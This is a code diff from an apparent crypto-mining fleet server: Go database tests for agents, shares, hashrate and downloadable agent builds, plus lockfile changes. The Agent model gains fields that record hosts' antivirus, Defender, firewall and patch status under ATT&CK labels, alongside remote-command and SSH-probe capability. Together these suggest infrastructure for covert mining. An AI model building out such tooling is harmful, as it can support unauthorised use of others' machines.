d := openTestDB(t)
seedAgent(t, d, "bad-tags")
if _, err := d.Exec(`UPDATE agents SET tags = ? WHERE id = ?`, "{invalid", "bad-tags"); err != nil {
t.Fatal(err)
}
got, err := d.GetAgent("bad-tags")
if err != nil {
t.Fatal(err)
}
if len(got.Tags) != 0 {
t.Fatalf("invalid tags should decode to empty slice, got %v", got.Tags)
}
}
func TestUpdateAgentMetaClearsTags(t *testing.T) {
d := openTestDB(t)
seedAgent(t, d, "meta-clear")
if err := d.UpdateAgentMeta("meta-clear", "note", []string{"x"}); err != nil {
t.Fatal(err)
}
if err := d.UpdateAgentMeta("meta-clear", "", nil); err != nil {
t.Fatal(err)
}
got, err := d.GetAgent("meta-clear")
if err != nil {
t.Fatal(err)
}
if got.Notes != "" {
t.Fatalf("notes not cleared: %q", got.Notes)
}
if len(got.Tags) != 0 {
t.Fatalf("tags not cleared: %v", got.Tags)
}
}

View File

@@ -0,0 +1,191 @@
package db
import (
"database/sql"
"errors"
"testing"
"time"
"crypto-miner-server/internal/models"
)
func insertBuild(t *testing.T, d *Database, b *models.BuildRecord) {
t.Helper()
if err := d.InsertBuild(b); err != nil {
t.Fatal(err)
}
}
func TestBuildCRUDAndList(t *testing.T) {
d := openTestDB(t)
created := time.Now().UTC().Truncate(time.Second)
build := &models.BuildRecord{
ID: "build-001",
WorkerName: "rig1",
ServerURL: "http://localhost:8080",
Wallet: "48xyz",
Threads: 4,
FileSize: 1024,
BundleSize: 2048,
FilePath: "/data/builds/build-001.zip",
FileName: "agent.zip",
DownloadURL: "/api/v1/builds/build-001/download",
Platform: "windows",
CreatedAt: created,
PoolHost: "pool.example.com",
PoolPort: 443,
PoolTLS: true,
PoolPass: "x",
}
insertBuild(t, d, build)
got, err := d.GetBuild("build-001")
if err != nil {
t.Fatal(err)
}
if got.WorkerName != "rig1" || got.Platform != "windows" || got.BundleSize != 2048 {
t.Fatalf("build mismatch: %+v", got)
}
if got.Pinned {
t.Fatal("new build should not be pinned")
}
list, err := d.ListBuilds(10)
if err != nil {
t.Fatal(err)
}
if len(list) != 1 || list[0].ID != "build-001" {
t.Fatalf("list builds: %+v", list)
}
}
func TestGetBuildNotFound(t *testing.T) {
d := openTestDB(t)
_, err := d.GetBuild("missing")
if !errors.Is(err, sql.ErrNoRows) {
t.Fatalf("expected sql.ErrNoRows, got %v", err)
}
}
func TestSetPinnedBuild(t *testing.T) {
d := openTestDB(t)
now := time.Now()
insertBuild(t, d, &models.BuildRecord{ID: "b1", WorkerName: "w", ServerURL: "u", Wallet: "w", CreatedAt: now})
insertBuild(t, d, &models.BuildRecord{ID: "b2", WorkerName: "w", ServerURL: "u", Wallet: "w", CreatedAt: now.Add(time.Second)})
if err := d.SetPinnedBuild("b1"); err != nil {
t.Fatal(err)
}
b1, _ := d.GetBuild("b1")
b2, _ := d.GetBuild("b2")
if !b1.Pinned || b2.Pinned {
t.Fatalf("pin state wrong: b1=%v b2=%v", b1.Pinned, b2.Pinned)
}
if err := d.SetPinnedBuild(""); err != nil {
t.Fatal(err)
}
b1, _ = d.GetBuild("b1")
if b1.Pinned {
t.Fatal("empty id should unpin all builds")
}
}
func TestGetLatestBuildForPlatform(t *testing.T) {
d := openTestDB(t)
base := time.Now().UTC().Truncate(time.Second)
insertBuild(t, d, &models.BuildRecord{
ID: "old-linux", WorkerName: "w", ServerURL: "u", Wallet: "w",
Platform: "linux", CreatedAt: base,
})
insertBuild(t, d, &models.BuildRecord{
ID: "new-linux", WorkerName: "w", ServerURL: "u", Wallet: "w",
Platform: "linux", CreatedAt: base.Add(time.Minute),
})
insertBuild(t, d, &models.BuildRecord{
ID: "new-windows", WorkerName: "w", ServerURL: "u", Wallet: "w",
Platform: "windows", CreatedAt: base.Add(2 * time.Minute),
})
latestLinux, err := d.GetLatestBuildForPlatform("linux")
if err != nil {
t.Fatal(err)
}
if latestLinux.ID != "new-linux" {
t.Fatalf("latest linux: got %q", latestLinux.ID)
}
if err := d.SetPinnedBuild("old-linux"); err != nil {
t.Fatal(err)
}
pinnedLinux, err := d.GetLatestBuildForPlatform("linux")
if err != nil {
t.Fatal(err)
}
if pinnedLinux.ID != "old-linux" {
t.Fatalf("pinned linux: got %q", pinnedLinux.ID)
}
anyLatest, err := d.GetLatestBuildForPlatform("any")
if err != nil {
t.Fatal(err)
}
if anyLatest.ID != "old-linux" {
t.Fatalf("any with pinned: got %q want old-linux", anyLatest.ID)
}
if err := d.SetPinnedBuild(""); err != nil {
t.Fatal(err)
}
emptyPlatform, err := d.GetLatestBuildForPlatform("")
if err != nil {
t.Fatal(err)
}
if emptyPlatform.ID != "new-windows" {
t.Fatalf("empty platform latest: got %q", emptyPlatform.ID)
}
}
func TestGetLatestBuildForPlatformEmpty(t *testing.T) {
d := openTestDB(t)
_, err := d.GetLatestBuildForPlatform("linux")
if !errors.Is(err, sql.ErrNoRows) {
t.Fatalf("expected sql.ErrNoRows on empty db, got %v", err)
}
}
func TestListBuildsOlderThanAndDeleteBuild(t *testing.T) {
d := openTestDB(t)
cutoff := time.Now().UTC().Truncate(time.Second)
oldTime := cutoff.Add(-time.Hour)
newTime := cutoff.Add(time.Hour)
insertBuild(t, d, &models.BuildRecord{
ID: "old-build", WorkerName: "w", ServerURL: "u", Wallet: "w", CreatedAt: oldTime,
})
insertBuild(t, d, &models.BuildRecord{
ID: "new-build", WorkerName: "w", ServerURL: "u", Wallet: "w", CreatedAt: newTime,
})
older, err := d.ListBuildsOlderThan(cutoff)
if err != nil {
t.Fatal(err)
}
if len(older) != 1 || older[0].ID != "old-build" {
t.Fatalf("ListBuildsOlderThan: %+v", older)
}
if err := d.DeleteBuild("old-build"); err != nil {
t.Fatal(err)
}
_, err = d.GetBuild("old-build")
if !errors.Is(err, sql.ErrNoRows) {
t.Fatalf("expected deleted build missing, got %v", err)
}
if err := d.DeleteBuild("never-existed"); err != nil {
t.Fatal(err)
}
}

View File

@@ -17,16 +17,15 @@ func (d *Database) PurgeHashrateSamplesBefore(cutoff time.Time) (int64, error) {
// ListBuildsOlderThan returns build records created before cutoff. // ListBuildsOlderThan returns build records created before cutoff.
func (d *Database) ListBuildsOlderThan(cutoff time.Time) ([]*models.BuildRecord, error) { func (d *Database) ListBuildsOlderThan(cutoff time.Time) ([]*models.BuildRecord, error) {
rows, err := d.Query(`SELECT id, worker_name, server_url, wallet, threads, file_size, file_path, created_at, pool_host, pool_port, pool_tls, pool_pass FROM builds WHERE created_at < ?`, cutoff) rows, err := d.Query(`SELECT `+buildSelectCols+` FROM builds WHERE created_at < ?`, cutoff)
if err != nil { if err != nil {
return nil, err return nil, err
} }
defer rows.Close() defer rows.Close()
var out []*models.BuildRecord var out []*models.BuildRecord
for rows.Next() { for rows.Next() {
b := &models.BuildRecord{} b, err := scanBuild(rows)
if err := rows.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.FilePath, &b.CreatedAt, if err != nil {
&b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass); err != nil {
return nil, err return nil, err
} }
out = append(out, b) out = append(out, b)

View File

@@ -0,0 +1,255 @@
package db
import (
"database/sql"
"errors"
"testing"
"time"
"crypto-miner-server/internal/models"
)
func openTestDB(t *testing.T) *Database {
t.Helper()
d, err := New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { d.Close() })
return d
}
func seedAgent(t *testing.T, d *Database, id string) *models.Agent {
t.Helper()
a := &models.Agent{
ID: id,
Name: "worker-" + id,
Wallet: "wallet",
IP: "10.0.0.1",
Version: "2.0",
Status: "offline",
CPUCores: 4,
MemoryGB: 8,
LastSeen: time.Now(),
}
if err := d.UpsertAgent(a); err != nil {
t.Fatal(err)
}
return a
}
func TestNewCreatesDatabase(t *testing.T) {
dir := t.TempDir()
d, err := New(dir)
if err != nil {
t.Fatal(err)
}
defer d.Close()
var n int
if err := d.QueryRow("SELECT COUNT(*) FROM sqlite_master WHERE type='table' AND name='agents'").Scan(&n); err != nil {
t.Fatal(err)
}
if n != 1 {
t.Fatalf("expected agents table, got count %d", n)
}
}
func TestGetAgentNotFound(t *testing.T) {
d := openTestDB(t)
_, err := d.GetAgent("missing-agent")
if !errors.Is(err, sql.ErrNoRows) {
t.Fatalf("expected sql.ErrNoRows, got %v", err)
}
}
func TestUpsertAgentPreservesCreatedAt(t *testing.T) {
d := openTestDB(t)
a := seedAgent(t, d, "persist-created")
first, err := d.GetAgent(a.ID)
if err != nil {
t.Fatal(err)
}
time.Sleep(10 * time.Millisecond)
a.Name = "renamed"
a.Status = "online"
if err := d.UpsertAgent(a); err != nil {
t.Fatal(err)
}
second, err := d.GetAgent(a.ID)
if err != nil {
t.Fatal(err)
}
if !second.CreatedAt.Equal(first.CreatedAt) {
t.Fatalf("created_at changed: %v -> %v", first.CreatedAt, second.CreatedAt)
}
if second.Name != "renamed" {
t.Fatalf("name not updated: %q", second.Name)
}
}
func TestUpdateAgentStats(t *testing.T) {
d := openTestDB(t)
a := seedAgent(t, d, "stats-agent")
if err := d.UpdateAgentStats(a.ID, 100, 200, 300, 10, 8, 2, 55.5, 66.6, 3600); err != nil {
t.Fatal(err)
}
got, err := d.GetAgent(a.ID)
if err != nil {
t.Fatal(err)
}
if got.Status != "online" {
t.Fatalf("status: got %q want online", got.Status)
}
if got.Hashrate15s != 100 || got.Hashrate1m != 200 || got.Hashrate15m != 300 {
t.Fatalf("hashrate mismatch: %+v", got)
}
if got.SharesTotal != 10 || got.SharesGood != 8 || got.SharesBad != 2 {
t.Fatalf("shares mismatch: %+v", got)
}
if got.CPUUsagePct != 55.5 || got.MemoryUsagePct != 66.6 || got.UptimeSeconds != 3600 {
t.Fatalf("usage/uptime mismatch: %+v", got)
}
}
func TestSetAgentOffline(t *testing.T) {
d := openTestDB(t)
a := seedAgent(t, d, "offline-agent")
if err := d.UpdateAgentStats(a.ID, 1, 1, 1, 0, 0, 0, 0, 0, 0); err != nil {
t.Fatal(err)
}
if err := d.SetAgentOffline(a.ID); err != nil {
t.Fatal(err)
}
got, err := d.GetAgent(a.ID)
if err != nil {
t.Fatal(err)
}
if got.Status != "offline" {
t.Fatalf("status: got %q want offline", got.Status)
}
}
func TestShareInsertUpdateAndRecent(t *testing.T) {
d := openTestDB(t)
seedAgent(t, d, "share-agent")
ts := time.Now().UTC().Truncate(time.Second)
share := &models.Share{
AgentID: "share-agent",
JobID: "job-1",
Difficulty: 1000,
Accepted: false,
Hash: "abc123",
Nonce: "deadbeef",
Error: "pending",
Timestamp: ts,
}
id, err := d.InsertShare(share)
if err != nil {
t.Fatal(err)
}
if id <= 0 {
t.Fatalf("expected positive insert id, got %d", id)
}
if err := d.UpdateShareResult(id, true, ""); err != nil {
t.Fatal(err)
}
recent, err := d.GetRecentShares(10)
if err != nil {
t.Fatal(err)
}
if len(recent) != 1 {
t.Fatalf("expected 1 share, got %d", len(recent))
}
if !recent[0].Accepted {
t.Fatal("share should be accepted after update")
}
if recent[0].Error != "" {
t.Fatalf("error should be cleared, got %q", recent[0].Error)
}
if err := d.UpdateShareResult(id, false, "pool rejected"); err != nil {
t.Fatal(err)
}
recent, err = d.GetRecentShares(1)
if err != nil {
t.Fatal(err)
}
if recent[0].Accepted || recent[0].Error != "pool rejected" {
t.Fatalf("unexpected share after reject update: %+v", recent[0])
}
}
func TestHashrateSampleHistory(t *testing.T) {
d := openTestDB(t)
seedAgent(t, d, "hr-agent")
if err := d.InsertHashrateSample("hr-agent", 150.5); err != nil {
t.Fatal(err)
}
if err := d.InsertHashrateSample("hr-agent", 200.0); err != nil {
t.Fatal(err)
}
history, err := d.GetHashrateHistory("hr-agent", 5)
if err != nil {
t.Fatal(err)
}
if len(history) != 2 {
t.Fatalf("expected 2 samples, got %d", len(history))
}
if history[0].Hashrate != 200.0 {
t.Fatalf("expected newest first, got %f", history[0].Hashrate)
}
empty, err := d.GetHashrateHistory("unknown", 5)
if err != nil {
t.Fatal(err)
}
if len(empty) != 0 {
t.Fatalf("expected empty history, got %d", len(empty))
}
}
func TestGetFleetStatsWithAgents(t *testing.T) {
d := openTestDB(t)
seedAgent(t, d, "fleet-a")
seedAgent(t, d, "fleet-b")
if err := d.UpdateAgentStats("fleet-a", 0, 0, 100, 20, 18, 2, 0, 0, 0); err != nil {
t.Fatal(err)
}
if err := d.UpdateAgentStats("fleet-b", 0, 0, 50, 10, 5, 5, 0, 0, 0); err != nil {
t.Fatal(err)
}
stats, err := d.GetFleetStats()
if err != nil {
t.Fatal(err)
}
if stats.TotalAgents != 2 {
t.Fatalf("total agents: got %d want 2", stats.TotalAgents)
}
if stats.OnlineAgents != 2 {
t.Fatalf("online agents: got %d want 2", stats.OnlineAgents)
}
if stats.TotalHashrate != 150 {
t.Fatalf("total hashrate: got %f want 150", stats.TotalHashrate)
}
if stats.TotalShares != 30 || stats.AcceptedShares != 23 || stats.RejectedShares != 7 {
t.Fatalf("share totals mismatch: %+v", stats)
}
wantRate := float64(23) / float64(30) * 100
if stats.AcceptRate != wantRate {
t.Fatalf("accept rate: got %f want %f", stats.AcceptRate, wantRate)
}
}

View File

@@ -36,6 +36,20 @@ type Agent struct {
// Crucible — SSH status probed by the agent every ~60s // Crucible — SSH status probed by the agent every ~60s
SSHAvailable *bool `json:"ssh_available,omitempty"` SSHAvailable *bool `json:"ssh_available,omitempty"`
// Defense posture + patch exposure — ATT&CK T1685/T1686.003
PostureScore int `json:"posture_score,omitempty"`
DefenderEnabled *bool `json:"defender_enabled,omitempty"`
DefenderRTP *bool `json:"defender_rtp,omitempty"`
AVProducts []string `json:"av_products,omitempty"`
FirewallDomain *bool `json:"firewall_domain,omitempty"`
FirewallPrivate *bool `json:"firewall_private,omitempty"`
FirewallPublic *bool `json:"firewall_public,omitempty"`
LastPatchDays *int `json:"last_patch_days,omitempty"`
LastPatch *string `json:"last_patch,omitempty"` // ISO date YYYY-MM-DD
PendingUpdates *int `json:"pending_updates,omitempty"` // -1 = unknown
RebootPending *bool `json:"reboot_pending,omitempty"`
AgentElevated *bool `json:"agent_elevated,omitempty"`
} }
// AgentCapabilities reports forge-time features available for remote command. // AgentCapabilities reports forge-time features available for remote command.

View File

@@ -21,6 +21,9 @@
}, },
"devDependencies": { "devDependencies": {
"@playwright/test": "^1.49.0", "@playwright/test": "^1.49.0",
"@testing-library/jest-dom": "^6.9.1",
"@testing-library/react": "^16.3.2",
"@testing-library/user-event": "^14.6.1",
"@types/react": "^18.2.37", "@types/react": "^18.2.37",
"@types/react-dom": "^18.2.15", "@types/react-dom": "^18.2.15",
"@vitejs/plugin-react": "^4.2.0", "@vitejs/plugin-react": "^4.2.0",
@@ -30,6 +33,13 @@
"vitest": "^2.1.9" "vitest": "^2.1.9"
} }
}, },
"node_modules/@adobe/css-tools": {
"version": "4.5.0",
"resolved": "https://registry.npmjs.org/@adobe/css-tools/-/css-tools-4.5.0.tgz",
"integrity": "sha512-6OzddxPio9UiWTCemp4N8cYLV2ZN1ncRnV1cVGtve7dhPOtRkleRyx32GQCYSwDYgaHU3USMm84tNsvKzRCa1Q==",
"dev": true,
"license": "MIT"
},
"node_modules/@babel/code-frame": { "node_modules/@babel/code-frame": {
"version": "7.29.7", "version": "7.29.7",
"resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.7.tgz", "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.7.tgz",
@@ -1396,12 +1406,110 @@
"win32" "win32"
] ]
}, },
"node_modules/@testing-library/dom": {
"version": "10.4.1",
"resolved": "https://registry.npmjs.org/@testing-library/dom/-/dom-10.4.1.tgz",
"integrity": "sha512-o4PXJQidqJl82ckFaXUeoAW+XysPLauYI43Abki5hABd853iMhitooc6znOnczgbTYmEP6U6/y1ZyKAIsvMKGg==",
"dev": true,
"license": "MIT",
"peer": true,
"dependencies": {
"@babel/code-frame": "^7.10.4",
"@babel/runtime": "^7.12.5",
"@types/aria-query": "^5.0.1",
"aria-query": "5.3.0",
"dom-accessibility-api": "^0.5.9",
"lz-string": "^1.5.0",
"picocolors": "1.1.1",
"pretty-format": "^27.0.2"
},
"engines": {
"node": ">=18"
}
},
"node_modules/@testing-library/jest-dom": {
"version": "6.9.1",
"resolved": "https://registry.npmjs.org/@testing-library/jest-dom/-/jest-dom-6.9.1.tgz",
"integrity": "sha512-zIcONa+hVtVSSep9UT3jZ5rizo2BsxgyDYU7WFD5eICBE7no3881HGeb/QkGfsJs6JTkY1aQhT7rIPC7e+0nnA==",
"dev": true,
"license": "MIT",
"dependencies": {
"@adobe/css-tools": "^4.4.0",
"aria-query": "^5.0.0",
"css.escape": "^1.5.1",
"dom-accessibility-api": "^0.6.3",
"picocolors": "^1.1.1",
"redent": "^3.0.0"
},
"engines": {
"node": ">=14",
"npm": ">=6",
"yarn": ">=1"
}
},
"node_modules/@testing-library/jest-dom/node_modules/dom-accessibility-api": {
"version": "0.6.3",
"resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.6.3.tgz",
"integrity": "sha512-7ZgogeTnjuHbo+ct10G9Ffp0mif17idi0IyWNVA/wcwcm7NPOD/WEHVP3n7n3MhXqxoIYm8d6MuZohYWIZ4T3w==",
"dev": true,
"license": "MIT"
},
"node_modules/@testing-library/react": {
"version": "16.3.2",
"resolved": "https://registry.npmjs.org/@testing-library/react/-/react-16.3.2.tgz",
"integrity": "sha512-XU5/SytQM+ykqMnAnvB2umaJNIOsLF3PVv//1Ew4CTcpz0/BRyy/af40qqrt7SjKpDdT1saBMc42CUok5gaw+g==",
"dev": true,
"license": "MIT",
"dependencies": {
"@babel/runtime": "^7.12.5"
},
"engines": {
"node": ">=18"
},
"peerDependencies": {
"@testing-library/dom": "^10.0.0",
"@types/react": "^18.0.0 || ^19.0.0",
"@types/react-dom": "^18.0.0 || ^19.0.0",
"react": "^18.0.0 || ^19.0.0",
"react-dom": "^18.0.0 || ^19.0.0"
},
"peerDependenciesMeta": {
"@types/react": {
"optional": true
},
"@types/react-dom": {
"optional": true
}
}
},
"node_modules/@testing-library/user-event": {
"version": "14.6.1",
"resolved": "https://registry.npmjs.org/@testing-library/user-event/-/user-event-14.6.1.tgz",
"integrity": "sha512-vq7fv0rnt+QTXgPxr5Hjc210p6YKq2kmdziLgnsZGgLJ9e6VAShx1pACLuRjd/AS/sr7phAR58OIIpf0LlmQNw==",
"dev": true,
"license": "MIT",
"engines": {
"node": ">=12",
"npm": ">=6"
},
"peerDependencies": {
"@testing-library/dom": ">=7.21.4"
}
},
"node_modules/@tweenjs/tween.js": { "node_modules/@tweenjs/tween.js": {
"version": "23.1.3", "version": "23.1.3",
"resolved": "https://registry.npmjs.org/@tweenjs/tween.js/-/tween.js-23.1.3.tgz", "resolved": "https://registry.npmjs.org/@tweenjs/tween.js/-/tween.js-23.1.3.tgz",
"integrity": "sha512-vJmvvwFxYuGnF2axRtPYocag6Clbb5YS7kLL+SO/TeVFzHqDIWrNKYtcsPMibjDx9O+bu+psAy9NKfWklassUA==", "integrity": "sha512-vJmvvwFxYuGnF2axRtPYocag6Clbb5YS7kLL+SO/TeVFzHqDIWrNKYtcsPMibjDx9O+bu+psAy9NKfWklassUA==",
"license": "MIT" "license": "MIT"
}, },
"node_modules/@types/aria-query": {
"version": "5.0.4",
"resolved": "https://registry.npmjs.org/@types/aria-query/-/aria-query-5.0.4.tgz",
"integrity": "sha512-rfT93uj5s0PRL7EzccGMs3brplhcrghnDoV26NqKhCAS1hVo+WdNsPvE/yb6ilfr5hi2MEk6d5EWJTKdxg8jVw==",
"dev": true,
"license": "MIT",
"peer": true
},
"node_modules/@types/babel__core": { "node_modules/@types/babel__core": {
"version": "7.20.5", "version": "7.20.5",
"resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz", "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz",
@@ -1784,6 +1892,16 @@
"url": "https://github.com/chalk/ansi-styles?sponsor=1" "url": "https://github.com/chalk/ansi-styles?sponsor=1"
} }
}, },
"node_modules/aria-query": {
"version": "5.3.0",
"resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.3.0.tgz",
"integrity": "sha512-b0P0sZPKtyu8HkeRAfCq0IfURZK+SuwMjY1UXGBU27wpAiTwQAIlq56IbIO+ytk/JjS1fMR14ee5WBBfKi5J6A==",
"dev": true,
"license": "Apache-2.0",
"dependencies": {
"dequal": "^2.0.3"
}
},
"node_modules/assertion-error": { "node_modules/assertion-error": {
"version": "2.0.1", "version": "2.0.1",
"resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-2.0.1.tgz", "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-2.0.1.tgz",
@@ -2047,6 +2165,13 @@
"node": ">= 8" "node": ">= 8"
} }
}, },
"node_modules/css.escape": {
"version": "1.5.1",
"resolved": "https://registry.npmjs.org/css.escape/-/css.escape-1.5.1.tgz",
"integrity": "sha512-YUifsXXuknHlUsmlgyY0PKzgPOr7/FjCePfHNt0jxm83wHZi44VDMQ7/fGNkjY3/jV1MC+1CmZbaHzugyeRtpg==",
"dev": true,
"license": "MIT"
},
"node_modules/csstype": { "node_modules/csstype": {
"version": "3.2.3", "version": "3.2.3",
"resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz",
@@ -2217,6 +2342,16 @@
"node": ">=6" "node": ">=6"
} }
}, },
"node_modules/dequal": {
"version": "2.0.3",
"resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz",
"integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==",
"dev": true,
"license": "MIT",
"engines": {
"node": ">=6"
}
},
"node_modules/detect-gpu": { "node_modules/detect-gpu": {
"version": "5.0.70", "version": "5.0.70",
"resolved": "https://registry.npmjs.org/detect-gpu/-/detect-gpu-5.0.70.tgz", "resolved": "https://registry.npmjs.org/detect-gpu/-/detect-gpu-5.0.70.tgz",
@@ -2232,6 +2367,14 @@
"integrity": "sha512-qiSlmBq9+BCdCA/L46dw8Uy93mloxsPSbwnm5yrKn2vMPiy8KyAskTF6zuV/j5BMsmOGZDPs7KjU+mjb670kfA==", "integrity": "sha512-qiSlmBq9+BCdCA/L46dw8Uy93mloxsPSbwnm5yrKn2vMPiy8KyAskTF6zuV/j5BMsmOGZDPs7KjU+mjb670kfA==",
"license": "MIT" "license": "MIT"
}, },
"node_modules/dom-accessibility-api": {
"version": "0.5.16",
"resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.5.16.tgz",
"integrity": "sha512-X7BJ2yElsnOJ30pZF4uIIDfBEVgF4XEBxL9Bxhy6dnrm5hkzqmsWHGTiHqRiITNhMyFLyAiWndIJP7Z1NTteDg==",
"dev": true,
"license": "MIT",
"peer": true
},
"node_modules/dom-helpers": { "node_modules/dom-helpers": {
"version": "5.2.1", "version": "5.2.1",
"resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-5.2.1.tgz", "resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-5.2.1.tgz",
@@ -2471,6 +2614,16 @@
"integrity": "sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ==", "integrity": "sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ==",
"license": "MIT" "license": "MIT"
}, },
"node_modules/indent-string": {
"version": "4.0.0",
"resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz",
"integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==",
"dev": true,
"license": "MIT",
"engines": {
"node": ">=8"
}
},
"node_modules/internmap": { "node_modules/internmap": {
"version": "2.0.3", "version": "2.0.3",
"resolved": "https://registry.npmjs.org/internmap/-/internmap-2.0.3.tgz", "resolved": "https://registry.npmjs.org/internmap/-/internmap-2.0.3.tgz",
@@ -2610,6 +2763,17 @@
"yallist": "^3.0.2" "yallist": "^3.0.2"
} }
}, },
"node_modules/lz-string": {
"version": "1.5.0",
"resolved": "https://registry.npmjs.org/lz-string/-/lz-string-1.5.0.tgz",
"integrity": "sha512-h5bgJWpxJNswbU7qCrV0tIKQCaS3blPDrqKWx+QxzuzL1zGUzij9XCWLrSLsJPu5t+eWA/ycetzYAO5IOMcWAQ==",
"dev": true,
"license": "MIT",
"peer": true,
"bin": {
"lz-string": "bin/bin.js"
}
},
"node_modules/maath": { "node_modules/maath": {
"version": "0.10.8", "version": "0.10.8",
"resolved": "https://registry.npmjs.org/maath/-/maath-0.10.8.tgz", "resolved": "https://registry.npmjs.org/maath/-/maath-0.10.8.tgz",
@@ -2645,6 +2809,16 @@
"integrity": "sha512-oRFNWJRDA/WTrVj7NWvqa5HqE1t9MYDj2VaWirQCzCCrAd2GHrqR/sQezCxiWATPNlKTcRaPRHPJwIRoPBAp5g==", "integrity": "sha512-oRFNWJRDA/WTrVj7NWvqa5HqE1t9MYDj2VaWirQCzCCrAd2GHrqR/sQezCxiWATPNlKTcRaPRHPJwIRoPBAp5g==",
"license": "MIT" "license": "MIT"
}, },
"node_modules/min-indent": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.1.tgz",
"integrity": "sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==",
"dev": true,
"license": "MIT",
"engines": {
"node": ">=4"
}
},
"node_modules/ms": { "node_modules/ms": {
"version": "2.1.3", "version": "2.1.3",
"resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
@@ -2859,6 +3033,44 @@
"integrity": "sha512-choctRBIV9EMT9WGAZHn3V7t0Z2pMQyl0EZE6pFc/6ml3ssw7Dlf/oAOvFwjm1HVsqfQN8GfeFyJ+d8tRzqueQ==", "integrity": "sha512-choctRBIV9EMT9WGAZHn3V7t0Z2pMQyl0EZE6pFc/6ml3ssw7Dlf/oAOvFwjm1HVsqfQN8GfeFyJ+d8tRzqueQ==",
"license": "ISC" "license": "ISC"
}, },
"node_modules/pretty-format": {
"version": "27.5.1",
"resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
"integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==",
"dev": true,
"license": "MIT",
"peer": true,
"dependencies": {
"ansi-regex": "^5.0.1",
"ansi-styles": "^5.0.0",
"react-is": "^17.0.1"
},
"engines": {
"node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
}
},
"node_modules/pretty-format/node_modules/ansi-styles": {
"version": "5.2.0",
"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
"integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
"dev": true,
"license": "MIT",
"peer": true,
"engines": {
"node": ">=10"
},
"funding": {
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
}
},
"node_modules/pretty-format/node_modules/react-is": {
"version": "17.0.2",
"resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
"integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==",
"dev": true,
"license": "MIT",
"peer": true
},
"node_modules/promise-worker-transferable": { "node_modules/promise-worker-transferable": {
"version": "1.0.4", "version": "1.0.4",
"resolved": "https://registry.npmjs.org/promise-worker-transferable/-/promise-worker-transferable-1.0.4.tgz", "resolved": "https://registry.npmjs.org/promise-worker-transferable/-/promise-worker-transferable-1.0.4.tgz",
@@ -3092,6 +3304,20 @@
"decimal.js-light": "^2.4.1" "decimal.js-light": "^2.4.1"
} }
}, },
"node_modules/redent": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/redent/-/redent-3.0.0.tgz",
"integrity": "sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==",
"dev": true,
"license": "MIT",
"dependencies": {
"indent-string": "^4.0.0",
"strip-indent": "^3.0.0"
},
"engines": {
"node": ">=8"
}
},
"node_modules/require-directory": { "node_modules/require-directory": {
"version": "2.1.1", "version": "2.1.1",
"resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz",
@@ -3284,6 +3510,19 @@
"node": ">=8" "node": ">=8"
} }
}, },
"node_modules/strip-indent": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz",
"integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==",
"dev": true,
"license": "MIT",
"dependencies": {
"min-indent": "^1.0.0"
},
"engines": {
